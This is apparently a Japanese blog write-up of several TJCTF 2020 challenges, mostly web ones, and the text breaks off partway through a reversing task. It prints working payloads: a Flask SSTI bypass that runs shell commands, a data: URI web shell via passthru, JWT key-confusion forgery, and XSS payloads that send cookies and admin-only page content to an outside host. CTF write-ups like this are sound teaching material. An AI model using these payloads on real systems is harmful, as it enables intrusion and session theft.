st98 の日記帳


[ctf] TJCTF 2020 の write-up

5 月 23 日から 5 月 27 日にかけて開催された TJCTF 2020 に、チーム zer0pts として参加しました。最終的にチームで 2255 点を獲得し、順位は 10 点以上得点した 1209 チーム中 19 位でした。

以下、私が解いた問題のうち、Web 問と特に面白かった問題の write-up です。

[Web 35] Sarah Palin Fanpage (505 solves)

Are you a true fan of Alaska’s most famous governor? Visit the Sarah Palin fanpage.

与えられた URL にアクセスすると、Sarah Palin 氏のファンページが表示されました。なぜ…?

このサイトには Top 10 moments というページがあり、Sarah Palin 氏の動画が 10 個埋め込まれています。各動画にはいいねをすることができますが、1 ユーザにつき 5 つの動画までしかいいねができないようです。

VIP area というページも存在していますが、どうやら 10 個すべての動画にいいねをしないと閲覧することができないようです。

Cookie を見てみると、eyIxIjpmYWxzZSwiMiI6ZmFsc2UsIjMiOmZhbHNlLCI0IjpmYWxzZSwiNSI6ZmFsc2UsIjYiOnRydWUsIjciOnRydWUsIjgiOnRydWUsIjkiOnRydWUsIjEwIjp0cnVlfQ%3D%3D というデータが格納されていました。パーセントデコードして Base64 デコードすると {"1":false,"2":false,"3":false,"4":false,"5":false,"6":true,"7":true,"8":true,"9":true,"10":true} という JSON になります。

false になっているフィールドをすべて true にし、Base64 エンコードしたものを Cookie にセットします。VIP area にアクセスするとフラグが得られました。

tjctf{wkDd2Pi4rxiRaM5lOcLo979rru8MFqVHKdTqPBm4k3iQd8n0sWbBkOfuq9vDTGN9suZgYlH3jq6QTp3tG3EYapzsTHL7ycqRTP5Qf6rQSB33DcQaaqwQhpbuqPBm4k3iQd8n0sWbBkOf}

[Web 60] Gamer W (165 solves)

Can you figure out how to cheat the system? Grab his hat to prove your victory!

与えられた URL にアクセスすると、ch34ter という Unity 製の 2D アクションゲームが始まりました。

面白そうなゲーム

どうやら WebGL ビルドのようで、DevTools の Sources タブを見ると WebAssembly ファイルが読み込まれていることがわかります。

wasm ディレクトリがあるね

画面の右上に表示されている Gold を使って、ショップで最大 HP や武器 (近接もしくは遠隔) の攻撃力、移動速度の強化を行うことができるようです。

ショップで売られているもの

次のマップに進むと敵が出てきました。最初の数体は楽に倒すことができましたが、次に出てきたボスらしき敵にいくらかダメージを与えると弾幕を張ってきました。プレイヤーの当たり判定が 1 ピクセルであるというわけでもなく、一発一発のダメージも大きいため無理ゲー感があります。

いや無理でしょ

このゲームのタイトル画面には Please use the CETUS Chrome Extension! というメッセージが表示されています。ググってみると Qwokka/Cetus という、WebAssembly が使われているゲーム向けのメモリの検索や修正などができる Cheat Engine のようなブラウザ拡張がヒットしました。なるほど、これを使ってチートをしろということでしょうか。

ショップで色々強化したり Reset Gold で初期状態に戻して Gold を返金してもらったりしながら、ショップの画面などに表示されているパラメータをメモリを検索していると、最大 HP や移動速度、武器の攻撃力などは (WebAssembly でいう) f32 で格納されていることがわかりました。

なるほど! 早速体力と遠隔武器の攻撃力のアドレスを特定し、体力は固定し、攻撃力は大変大きな値に設定します。これで簡単にボスを倒すことができた…かと思いきや、前のマップにテレポートさせられた上にバリケードを張られてボスにダメージを与えることができなくなってしまいました。

なんでやねん

プレイヤーの座標が格納されているアドレスも見つからず、どないすんねんと困っていたところ、ショップでは移動速度の強化もできたことを思い出しました。移動速度のアドレスを特定して 75 程度の値に変えると、壁抜けしてボスを倒すことができました。

フラグをゲットした

tjctf{c3tus_del3tus_ur_m3ms_g0ne}

[Web 70] Congenial Octo Couscous (58 solves)

Team Congenial-Octo-Couscous is looking to replace one of its members for the Battlecode competition, who carried the team too hard and broke his back. Until a neural net can take his place, the team wants a 4th member. Figure out how to join the team and read the secret strategy guide to get the flag.

与えられた URL にアクセスすると、謎の登録フォームとメンバーにのみ閲覧できる Strategy Guide へのリンクが表示されました。

登録フォーム

とりあえず適当なユーザ名で登録しようとすると、Hello, (ユーザ名). Your application will be processed in 7 weeks. と表示されました。7 週間も待ってられないので攻撃しましょう。

{{'A'+'B'}} というユーザ名にすると Hello, AB. … というメッセージに変わりました。SSTI でしょうか。{{config}} に変えると Hello, <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, … に変わり、Flask の SSTI であることがわかります。

これは簡単な SSTI 問…かと思いきや、{{7*7}} というユーザ名のように数字を入れると Server Error が返ってくることに気づきました。7 だけのユーザ名でも同様のエラーが発生するようで、ユーザ名に数字が入っていれば弾くという処理をしているのでしょう。

いろいろ検証をしていると、{ もしくは } がユーザ名に入っている場合に限って [ ] " class config. といった文字列が使えないことがわかりました。ですが、これらを使うシチュエーションも考えると

といった感じで代替できることがわかります。あとは既存のペイロードを参考に eval(request.args.a) のように GET パラメータを eval するペイロードを組み立て、この規則にしたがって置換するだけです。

$ curl -g 'https://(省略)/apply?a=__import__("subprocess").check_output(["cat","strategyguide.txt"])' \
>   -H 'content-type: application/x-www-form-urlencoded; charset=UTF-8' \
>   --data $'fname=\'&lname=admin&email=admin%40example.com&username=%7B%7B\'\'.__getattribute__(\'__cla\'%2B\'ss__\').mro().__getitem__(\'A\'.__len__()).__getattribute__(\'\'.__getattribute__(\'__cla\'%2B\'ss__\').mro().__getitem__(\'A\'.__len__())%2C\'__subcla\'%2B\'sses__\')().__getitem__(\'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\'.__len__()).__init__.__globals__.__getitem__(\'__builtins__\').__getitem__(\'ev\'%2B\'al\')(request.args.a)%7D%7D'
Hello, b'Best formation that wins every time:\nDDDDD\nDLLLD\nDLHLD\nDLLLD\nDDDDD\n\nKey:\nD=Drone\nL=Landscaper\nH=HQ\n\nBeginning of game strategy:\ntjctf{c0ng3n1al_500iq_str4ts_ez_dub}\n'. Your application will be processed in 6 weeks.

フラグが得られました。

tjctf{c0ng3n1al_500iq_str4ts_ez_dub}

[Web 70] File Viewer (256 solves)

So I’ve been developing this really cool site where you can read text files! It’s still in beta mode, though, so there’s only six files you can read.

与えられた URL にアクセスすると、大変簡素なデザインのファイルビューアが表示されました。

簡素なUI

とりあえず apple.txt を入力して送信してみると、/reader.php?file=apple.txt に遷移して Apples are great! I love the golden version. と表示されました。

PHP が使われており、読み込むファイルを GET パラメータで指定できることから LFI もしくは RFI を疑います。/reader.php?file=data:,<?php%20phpinfo();%20?> にアクセスすると phpinfo() が表示されました。RFI ができるようです。

/reader.php?file=data:,<?php%20passthru($_GET[0]);%20?>&0=ls%20-lai_wonder_whats_in_here というディレクトリの存在を確認できました。

total 44
dr-xr-xr-x 1 www-data www-data 4096 May 24 16:07 .
drwxr-xr-x 1 root     root     4096 May 15 12:41 ..
-r--r--r-- 1 root     root       44 May 18 15:32 apple.txt
-r--r--r-- 1 root     root       74 May 24 15:12 grape.txt
dr-xr-xr-x 1 root     root     4096 May 24 15:12 i_wonder_whats_in_here
-r--r--r-- 1 root     root     3012 May 18 15:32 index.html
-r--r--r-- 1 root     root       27 May 18 15:32 orange.txt
-r--r--r-- 1 root     root       49 May 18 15:32 pear.txt
-r--r--r-- 1 root     root       27 May 18 15:32 pinneaple.txt
-r--r--r-- 1 root     root     2532 May 18 15:32 reader.php
-r--r--r-- 1 root     root       22 May 18 15:32 watermelon.txt

/reader.php?file=data:,<?php%20passthru($_GET[0]);%20?>&0=ls%20-la%20i_wonder_whats_in_herei_wonder_whats_in_here/flag.php の存在が確認できました。

total 12
dr-xr-xr-x 1 root     root     4096 May 24 15:12 .
dr-xr-xr-x 1 www-data www-data 4096 May 24 16:07 ..
-r--r--r-- 1 root     root       47 May 24 15:12 flag.php

/reader.php?file=data:,<?php%20passthru($_GET[0]);%20?>&0=cat%20i_wonder_whats_in_here/flag.php でフラグが得られました。

<?php
    // tjctf{n1c3_j0b_with_lf1_2_rc3}
?>
tjctf{n1c3_j0b_with_lf1_2_rc3}

[Web 80] Moar Horse 4 (77 solves)

It seems like the TJCTF organizers are secretly running an underground virtual horse racing platform! They call it ‘Moar Horse 4’… See if you can get a flag from it!

添付ファイル: server.zip

与えられた URL にアクセスすると、適当な馬を買って MechaOmkar-YG6BPRJM という馬とレースをさせることができる Web アプリケーションが表示されました。

server.zip には server.py という Python コード、horse_names.txt という馬の名前のリスト、pubkey.pem という JWT 用の公開鍵などが含まれていました。server.py は以下のような内容でした。

from flask import Flask, render_template, request, render_template_string, session, url_for, redirect, make_response
import sys
import jwt
jwt.algorithms.HMACAlgorithm.prepare_key = lambda self, key : jwt.utils.force_bytes(key) # was causing problems
import os
import random
import collections
import hashlib

app = Flask(__name__, template_folder="templates")
app.secret_key = os.urandom(24)

BOSS_HORSE = "MechaOmkar-YG6BPRJM"

with open("pubkey.pem", "rb") as file:
    PUBLIC_KEY = file.read()

with open("privkey.pem", "rb") as file:
    PRIVATE_KEY = file.read()

Horse = collections.namedtuple("Horse", ["name", "price", "id"])
next_id = 0
valid_horses = {}
with open("horse_names.txt", "r") as file:
    for name in file.read().strip().split("\n"):
        valid_horses[next_id] = Horse(name, 100, next_id)
        next_id += 1

with open("flag.txt", "r") as file:
    flag = file.read()

def validate_token(token):
    try:
        data = jwt.decode(token, PUBLIC_KEY)
        return all(attr in data for attr in ["user","is_omkar","money","horses"]), data
    except:
        return False, None

def generate_token(data):
    token = jwt.encode(data, PRIVATE_KEY, "RS256")
    return token

@app.route("/")
def main_page():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            return render_template("main.html", money=data["money"])
        else:
            response = make_response(render_template("new_user.html"))
            response.delete_cookie("token")
            return response
    else:
        return render_template("new_user.html")

@app.route("/join")
def join():
    data = {
        "user": True,
        "is_omkar": False,
        "money": 100,
        "horses": []
    }
    response = make_response(redirect("/"))
    response.set_cookie("token", generate_token(data))
    return response

@app.route("/race")
def race():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            error_message = ("error" in request.args)
            owned_horses = data["horses"]
            return render_template("race.html", owned_horses=owned_horses, money=data["money"], \
                boss_horse=BOSS_HORSE, error_message=error_message)
        else:
            return redirect("/")
    else:
        return redirect("/")

@app.route("/do_race")
def do_race():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            if "horse" in request.args:
                race_horse = request.args.get("horse")
            else:
                return redirect("/race")
            owned_horses = data["horses"]
            if race_horse not in owned_horses:
                return redirect("/race?error")

            boss_speed = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
            your_speed = int(hashlib.md5(("Horse_" + race_horse).encode()).hexdigest(), 16)
            if your_speed > boss_speed:
                return render_template("race_results.html", money=data["money"], victory=True, flag=flag)
            else:
                return render_template("race_results.html", money=data["money"], victory=False)
        else:
            return redirect("/")
    else:
        return redirect("/")

@app.route("/store")
def store():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            success_message = ("success" in request.args)
            failure_message = ("failure" in request.args)
            all_horse_ids = list(valid_horses.keys())
            random.shuffle(all_horse_ids)
            horses = [valid_horses[horse_id] for horse_id in all_horse_ids[:random.randint(4,6)]]
            return render_template("store.html", horses=horses, money=data["money"], \
                success_message=success_message, failure_message=failure_message)
        else:
            return redirect("/")
    else:
        return redirect("/")

@app.route("/buy_horse")
def buy_horse():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            if "id" in request.args:
                buy_id = int(request.args.get("id"))
            else:
                response = make_response(redirect("/store?failure"))
                return response

            if data["money"] >= valid_horses[buy_id].price:
                data["money"] -= valid_horses[buy_id].price
                data["horses"].append(valid_horses[buy_id].name)
                response = make_response(redirect("/store?success"))
                response.set_cookie("token", generate_token(data))
                return response
            else:
                response = make_response(redirect("/store?failure"))
                return response
        else:
            return redirect("/")
    else:
        return redirect("/")


if __name__ == "__main__":
    app.run(debug=False) 

どのような条件でフラグが表示されるか確認しましょう。

            if your_speed > boss_speed:
                return render_template("race_results.html", money=data["money"], victory=True, flag=flag)
            else:
                return render_template("race_results.html", money=data["money"], victory=False)

自分の馬が MechaOmkar-YG6BPRJM より速ければ表示されるようです。速度がどのようにして計算されているか確認しましょう。

            boss_speed = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
            your_speed = int(hashlib.md5(("Horse_" + race_horse).encode()).hexdigest(), 16)

Horse_ と馬名を結合した文字列の MD5 ハッシュを 16 進数として読んだ数値を速度としているようです。まずは MechaOmkar-YG6BPRJM に勝てるような馬名を探しましょう。

import hashlib

TARGET = int(hashlib.md5(b'Horse_MechaOmkar-YG6BPRJM').hexdigest(), 16)

i = 1000000
while True:
  h = int(hashlib.md5(b'Horse_' + str(i).encode()).hexdigest(), 16)
  if h > TARGET:
    print(i)
  i += 1
$ python3 find.py
6441910

見つかりました。

持っている馬を任意の馬名に改ざんできないでしょうか。馬名などがどのようにして保存されているか確認しましょう。

def validate_token(token):
    try:
        data = jwt.decode(token, PUBLIC_KEY)
        return all(attr in data for attr in ["user","is_omkar","money","horses"]), data
    except:
        return False, None

def generate_token(data):
    token = jwt.encode(data, PRIVATE_KEY, "RS256")
    return token

JWT で署名と検証をしているようです。よく見ると署名時には RS256 とアルゴリズムを指定していますが、検証時にはアルゴリズムを指定していません。アルゴリズムを HS256 に変えれば、jwt.decodePUBLIC_KEY を秘密鍵と誤認して検証するのではないでしょうか。試してみましょう。

ticarpi/jwt_toolCheck for HS/RSA key confusion vulnerability を試してみると、実際にそのような挙動をすることが確認できました。

それでは、馬名を 6441910 に変えてみましょう。

$ jwt_tool "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjp0cnVlLCJpc19vbWthciI6ZmFsc2
UsIm1vbmV5IjowLCJob3JzZXMiOlsiT2xpdmVyIl19.lXNAJe7ymk5MrzBnWYgJRAKczyiFfEjRJ5g61Wy4Q9I0VIPkcgBRYJrfHBgKuOA0Uu2uWdlE60ikwvv8Rup7TNsqXLSoY8G2ilq-W0FuaPKzeMk7-llCKA9Tkk3Di8S-
j9UGwA4TSV4vnCdZi12nIopRhPEdW6_9BJlhZPx6pImWKiMC8G8Z2EOOfTXyUydhOZ1ADSOZUQsbTdUgU6ehwREd4lwxlOpHrG-O-3YOrHuwZ34XfXl9ieBr9qC0fX7UJeb9Jns4ZW5t_Ow0JD61gQCn2U6B8PXVSzIFUjXhrtd
zvyg3Z1QOc70i1IM2ISwHyWHMk9nRI68XMnL4WR2j-5XfVDBRrnildZBWCbU91QU_1SvzQSzYJnZ-1RPLzKyAUWH052KDLDkE9DTdYGjRTSOgEvVu8tTkac8E_upzQiWXNNHJUoiiJ5o-wL_oU_Xly5N4W60G1XchuE4OvqKzSr
UiAjQQpMVTjiv5BMUWSnqzRAordIEMEdOiVlHxTJ4phr76gRz2ZREk7zvIKq_zSc4gBtH6HB5DpvEkt3JYaJ6Q1KcHcherwzuQ2JJgKDUpXYKjjSLvd_vzP1-MqyIuQtwUjXzGI2YlWBpy8fInbB7nR-l5qnWevEWWpt9jfVxGs
Q7zWS3SthqDh7CuQH-9tTmDofKh0s7uqCXNP91FHCU"

   $$$$$\ $$\      $$\ $$$$$$$$\  $$$$$$$$\                  $$\
   \__$$ |$$ | $\  $$ |\__$$  __| \__$$  __|                 $$ |
      $$ |$$ |$$$\ $$ |   $$ |       $$ | $$$$$$\   $$$$$$\  $$ |
      $$ |$$ $$ $$\$$ |   $$ |       $$ |$$  __$$\ $$  __$$\ $$ |
$$\   $$ |$$$$  _$$$$ |   $$ |       $$ |$$ /  $$ |$$ /  $$ |$$ |
$$ |  $$ |$$$  / \$$$ |   $$ |       $$ |$$ |  $$ |$$ |  $$ |$$ |
\$$$$$$  |$$  /   \$$ |   $$ |       $$ |\$$$$$$  |\$$$$$$  |$$ |
 \______/ \__/     \__|   \__|$$$$$$\__| \______/  \______/ \__|
 Version 1.3.4                \______|              @ticarpi


=====================
Decoded Token Values:
=====================

Token header values:
[+] typ = "JWT"
[+] alg = "RS256"

Token payload values:
[+] user = True
[+] is_omkar = False
[+] money = 0
[+] horses = ['Oliver']

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------


########################################################  
#  Options:                                            #  
#                ==== TAMPERING ====                   #  
#  1: Tamper with JWT data (multiple signing options)  #  
#                                                      #  
#             ==== VULNERABILITIES ====                #  
#  2: Check for the "none" algorithm vulnerability     #  
#  3: Check for HS/RSA key confusion vulnerability     #  
#  4: Check for JWKS key injection vulnerability       #  
#                                                      #  
#            ==== CRACKING/GUESSING ====               #  
#  5: Check HS signature against a key (password)      #  
#  6: Check HS signature against key file              #  
#  7: Crack signature with supplied dictionary file    #  
#                                                      #  
#            ==== RSA KEY FUNCTIONS ====               #  
#  8: Verify RSA signature against a Public Key        #  
#                                                      #  
#  0: Quit                                             #  
########################################################  

Please make a selection (1-8)
> 1

====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
(Force string values in claims by enclosing in "double quotes"
====================================================================

Token header values:
[1] typ = "JWT"
[2] alg = "RS256"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 2

Current value of alg is: RS256
Please enter new value and hit ENTER
> HS256
[1] typ = "JWT"
[2] alg = "HS256"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] user = True
[2] is_omkar = False
[3] money = 0
[4] horses = ['Oliver']
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 4

Current value of horses is: ['Oliver']
Please enter new value and hit ENTER
> ['6441910']
[1] user = True
[2] is_omkar = False
[3] money = 0
[4] horses = ['6441910']
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token Signing:
[1] Sign token with known HMAC-SHA 'secret'
[2] Sign token with RSA/ECDSA Private Key
[3] Strip signature using the "none" algorithm
[4] Sign with HS/RSA key confusion vulnerability
[5] Sign token with key file
[6] Inject a key and self-sign the token (CVE-2018-0114)
[7] Self-sign the token and export an external JWKS
[8] Keep original signature

Please select an option from above (1-5):
> 4

Please enter the Public Key filename:
> pubkey.pem

====================================================================
This option takes an available Public Key (the SSL certificate from 
a webserver, for example?) and switches the RSA-signed 
(RS256/RS384/RS512) JWT that uses the Public Key as its 'secret'.
====================================================================
File loaded: pubkey.pem

Set this new token as the AUTH cookie, or session/local storage data (as appropriate for the web application).
(This will only be valid on unpatched implementations of JWT.)

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp0cnVlLCJpc19vbWthciI6ZmFsc2UsIm1vbmV5IjowLCJob3JzZXMiOlsiNjQ0MTkxMCJdfQ.RacSlfvVdpHx1V30u3EybppoSBvvVndlqNCg6knYr2o

出力されたものを Cookie にセットすると、MechaOmkar-YG6BPRJM に勝つことができフラグが得られました。

tjctf{w0www_y0ur_h0rs3_is_f444ST!}

[Web 90] FB Library (23 solves)

The Independent ForkBomb Academy has a new online library catalog! I asked the student librarians to add some books but they just ended up fooling around instead. If you see any weird books report them to me and I’ll take a look.

与えられた URL にアクセスすると、本の検索フォームが表示されました。適当に a で検索してみるとオライリー風の架空の本がいくつかヒットします。Report というリンクがあり、これをクリックすると admin が巡回しにくるようです。

<div class="row book-item">
	<div class="col-md-4">
		<img src="/static/img/self-documenting-code.png" class="book-cover">
	</div>
	<div class="col-md-8">
		<h1>Self-Documenting Code</h1>
		<p class="small text-muted">Yourself</p>
		<p>Who Needs Comments Anyway?</p>
		<div class="book-links">
			<a href="/book/1/download" target="_blank">Download this book</a>
			<a href="/report?url=http%3A%2F%2Ffb_library.tjctf.org%2Fbook%2F1">Report this book to the admin</a>
		</div>
	</div>
</div>

おそらくどこかに XSS があり、それを利用して admin にしか閲覧できないこのサイトのコンテンツを外部に流出させればよいのでしょう。

/report?url=(RequestBin の URL) を投げても巡回しにきました。外部の URL でも構わないようです。

XSS できる箇所を探していると、<s>test</s> で検索したときに斜線の入った test が表示されることに気づきました。これでなんとかなるかと思いきや、21 文字以上の文字列の場合には AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... のように切り詰められることがわかりました。20 文字以内で XSS しろということのようです。

<script></script> だけで 17 文字ですから、実質的には 3 文字までしか JavaScript コードを実行できないことになります。これでは無理だなあと考えていたところ、XSS の注入箇所以降に以下のような script タグがあることに気づきました。

(XSS の注入箇所)
︙
<script>
/* (なんかコメント) */
window.onerror = function () {
    return true;
}
</script>

これを利用すれば、<script>(コード)/* のようにすることで以下のように </script> を省略することができます。これで実行できる JavaScript コードが 10 文字まで増えました。

<script>/*
︙
<script>
/* (なんかコメント) */
window.onerror = function () {
    return true;
}
</script>

10 文字でも不十分に思えますが、こういう XSS ゴルフで使えるテクニックとして eval(name) があります。試しに以下のような HTML を開いてみるとアラートが表示されました。

<script>
window.name = 'alert(123)';
window.location = 'https://(省略)/search?q=%3Cscript%3Eeval(name)/*';
</script>

location="https://(省略)?"+document.cookie.split("").map(c=>c.charCodeAt(0).toString(16)).join("") を admin に実行させるとセッション ID が取得でき、Cookie にセットしてから /admin にアクセスするとフラグが得られました。

tjctf{trunc4t3d_n0_pr0bl3m_rly???}

[Web 100] Admin Secrets (71 solves)

See if you can get the flag from the admin at this website!

与えられた URL にアクセスすると、以下のような Pastebin 的な Web アプリケーションが表示されました。

Admin Secrets

記事を投稿するとパーマリンクが生成され、Report to Admin というボタンを押せば admin に巡回させることができます。

試しに <s>test</s> を投稿してみると、以下のような HTML が返ってきて XSS できることがわかりました。

<div class="container"><div class="row">
                <div class="col-8 textbody">
                    
                        <s>test</s> 
                    
                </div>
            </div><div class="row" style="margin-bottom:10px">
                <div class="col-8" >
                    <button type="button" class="btn btn-warning" id="report">Report to Admin</button>
                </div>
            </div>
            <div class="row">
                <div class="col-8 admin_console" >
                    <!-- Only the admin can see this -->
                    
                        
                    
                </div>
            </div>
            <div id="responseAlert" class="alert alert-info" role="alert"></div>
        </div>
        <script src="https://code.jquery.com/jquery-3.3.1.min.js" crossorigin="anonymous"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script>
        <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
        <script>
            
            $('#responseAlert').css('display','none');
            $('#report').on('click',function(e){
                $.ajax({
                    type: "GET",
                    url: window.location.pathname+"/report",
                    success: function(resp) {
                        $("#responseAlert").text(resp); $("#responseAlert").css("display","");
                    }
                })
            });
            

             
        </script>

.admin_console に admin だけが閲覧できるコンテンツが出力されるようです。XSS で確認してみましょう。<script>window.onload=()=>{(new Image).src='https://(省略)?'+encodeURIComponent(document.getElementsByClassName('admin_console')[0].innerHTML);}</script> で以下のようなアクセスが来ました。

?%0A____________________%3C%21--_Only_the_admin_can_see_this_--%3E%0A____________________%0A________________________%0A____________________________%3Cbutton_class%3D%22btn_btn-primary_flag-button%22%3EAccess_Flag%3C%2Fbutton%3E%0A%0A%3Ca_href%3D%22%2Fbutton%22_class%3D%22btn_btn-primary_other-button%22%3EDelete_User%3C%2Fa%3E%0A%0A%3Ca_href%3D%22%2Fbutton%22_class%3D%22btn_btn-primary_other-button%22%3EDelete_Post%3C%2Fa%3E%0A_%0A________________________%0A____________________%0A________________=

<button class="btn btn-primary flag-button">Access Flag</button> という謎のボタンが生えています。どこかでイベントハンドラを生やしているのでしょうか。script 要素のコンテンツを収集してみましょう。<script>window.onload=()=>{(new Image).src='https://(省略)?'+encodeURIComponent(Array.from(document.getElementsByTagName('script')).reverse()[0].innerHTML);}</script> で以下のようなコードが抽出できました。

            $('#responseAlert') css('display','none');
            $('#report') on('click',function(e){
                $ ajax({
                    type: "GET",
                    url: window location pathname+"/report",
                    success: function(resp) {
                        $("#responseAlert") text(resp); $("#responseAlert") css("display","");
                    }
                })
            });
                var flag='';
                f=function(e){
                    $ ajax({
                        type: "GET",
                        url: "/admin_flag",
                        success: function(resp) {
                            flag=resp;$("#responseAlert") text(resp); $("#responseAlert") css("display","");
                        }
                    })
                    return flag;
                };
                $(' flag-button') on('click',f);

/admin_flag を GET すればフラグが得られそうです。やってみましょう。<script>window.onload=()=>{document.getElementsByClassName('flag-button')[0].click(); setTimeout(()=>{(new Image).src='https://(省略)?'+encodeURIComponent(document.getElementById('responseAlert').innerHTML)}, 1000);}</script> で以下のようなアクセスが来ました。

?This_post_contains_unsafe_content__To_prevent_unauthorized_access%2C_the_flag_cannot_be_accessed_for_the_following_violations%3A_Script_tags_found__Single_quote_found__Parenthesis_found__=

<script> ' ( ) が検知されるとフラグを返してくれなくなるようです。いろいろ試していると、" とバックティックも使えないことがわかりました。

<script><img src=x onerror=alert(123)> のような感じで代替できますが、関数呼び出しについては () だけならまだしもバックティック (テンプレート文字列) も禁止されるとできないように思えます。

call function without parentheses javascript みたいなキーワードでググってみると大変参考になりそうな Stack Overflow の回答がヒットしました。これによれば、'alert(123)' instanceof { [Symbol.hasInstance]: eval } でカッコとバックティックなしに関数を呼び出すことができるようです。

ただ、そのままでは instanceof の左辺に禁止されている文字が含まれており不便です。なんとかならないか [Symbol.hasInstance]:eval でググると 최신 Ecma Script 기능을 활용한 XSS Filtering Bypass 및 원리 해설 :: Is Secure? という大変参考になる記事がヒットしました。alert + '' のように関数を文字列化し、これを切り取ってカッコを作っているようです。

これらを利用して <img src=x onerror={a=id,_=alert+0,Array.prototype[Symbol.hasInstance]=eval,/b=atob/.source+_[14]+/a/.source+_[15]instanceof[],[b][0]instanceof[]} id=(Base64 エンコードした JavaScript コード)>/admin_flag による制約を回避して好きな JavaScript コードを実行できるようになりました。

admin に window.onload=()=>{document.getElementsByClassName('flag-button')[0].click(); setTimeout(()=>{(new Image).src='https://(省略)?'+encodeURIComponent(document.getElementById('responseAlert').innerHTML)}, 1000);} を実行させるとフラグが得られました。

tjctf{st0p_st3aling_th3_ADm1ns_fl4gs}

[Forensics 40] Rap God (172 solves)

My rapper friend Big Y sent me his latest track but something sounded a little off about it. Help me find out if he was trying to tell me something with it. Submit your answer as tjctf{message}

添付ファイル: BigYAudio.mp3

与えられた MP3 ファイルを再生すると、左からは音楽が、右からはプツプツ音が聞こえてきました。

右から聞こえてくる音声を分離して Spek というスペクトラムアナライザに投げると、以下のように絵文字が出てきました。

えもじ

これは Wingdings というフォントでしょう。Wikipedia のテーブルを参考に入力された文字列が QUICKSONIC であると特定できました。

tjctf{QUICKSONIC}

[Reversing 80] Gamer R (58 solves)

I’m sure if you’re good enough, you can get the flag! Eventually…

添付ファイル: Game_OrangCTF_win.zip

与えられた ZIP ファイルを展開すると、以下のような Unity 製の謎のゲームが出てきました。

カモに刺さらないようミカンにナイフを投げるゲーム

動き続けるカモに刺さらないよう、ミカンにナイフを投げるゲームのようです。左上に H という文字が表示されていますが、どうやらこれはスコア表示のようです。ミカンにひとつナイフが当たるごとにスコアが 1 点増え、スコアが 20 の倍数のときに 1 文字何かが表示されるようです。

真面目にプレイするようなゲームではなさそうなので、チートをしましょう。ゲームのコア部分がどこにあるか探していると、ECSSimpleDucks_Data/Managed/Assembly-CSharp.dll が見つかりました。IL2CPP は使われていないようです。

dnSpy で逆コンパイルすると、DuckCollisionSystem というクラスの OnUpdate というメソッドでナイフとカモの当たり判定をしていることがわかりました。

protected override void OnUpdate()
{
	for (int i = 0; i < this.ducks.Length; i++)
	{
		for (int j = 0; j < this.knife.Length; j++)
		{
			if (Vector2.Distance(this.ducks.Transforms[i].position, this.knife.Transforms[j].position) < this.hitBoxRadius)
			{
				this.ducks.DuckComponents[i].FreezeTime = 99f;
				this.ducks.Sprites[i].enabled = false;
				for (int k = 0; k < this.storage.Length; k++)
				{
					UnityEngine.Object.Instantiate<GameObject>(this.storage.StorageComponents[k].PrefabGreenFeather).transform.position = this.ducks.DuckComponents[i].transform.position;
				}
				this.knife.Transforms[j].position = new Vector3(0f, -4f, 0f);
				this.knife.InputComponents[j].Sent = false;
				for (int l = 0; l < this.gs.Length; l++)
				{
					this.gs.GameStateComponents[l].GameState = 0;
				}
				Debug.Log("game over!");
			}
		}
	}
}

この if 文の中の処理を全て削除すると、ナイフがカモに当たってもゲームオーバーにならなくなりました。

ただ、ナイフを投げるにはクリックする必要がありまだ面倒です。自動化できないかコードを見ていると、InputSystem というクラスの OnUpdate というメソッドで関連する処理をしていることがわかりました。

protected override void OnUpdate()
{
	if (Input.GetButtonDown("Fire1") && !this.pause.PauseMenuComponent[0].Paused)
	{
		for (int i = 0; i < this.gs.Length; i++)
		{
			if (this.gs.GameStateComponents[i].GameState == 1)
			{
				for (int j = 0; j < this.d.Length; j++)
				{
					if (!this.d.InputComponents[j].Sent)
					{
						AudioSource expr_7D = this.d.Sources[j];
						expr_7D.volume = this.volume * (1f + UnityEngine.Random.Range(-this.volumeVar / 2f, this.volumeVar / 2f));
						expr_7D.pitch = this.pitch * (1f + UnityEngine.Random.Range(-this.pitchVar / 2f, this.pitchVar / 2f));
						expr_7D.Play();
					}
					this.d.InputComponents[j].Sent = true;
				}
			}
			else if (this.gs.GameStateComponents[i].GameState == 2)
			{
				this.gs.GameStateComponents[i].GameState = 1;
			}
			else if (this.gs.GameStateComponents[i].GameState == 0)
			{
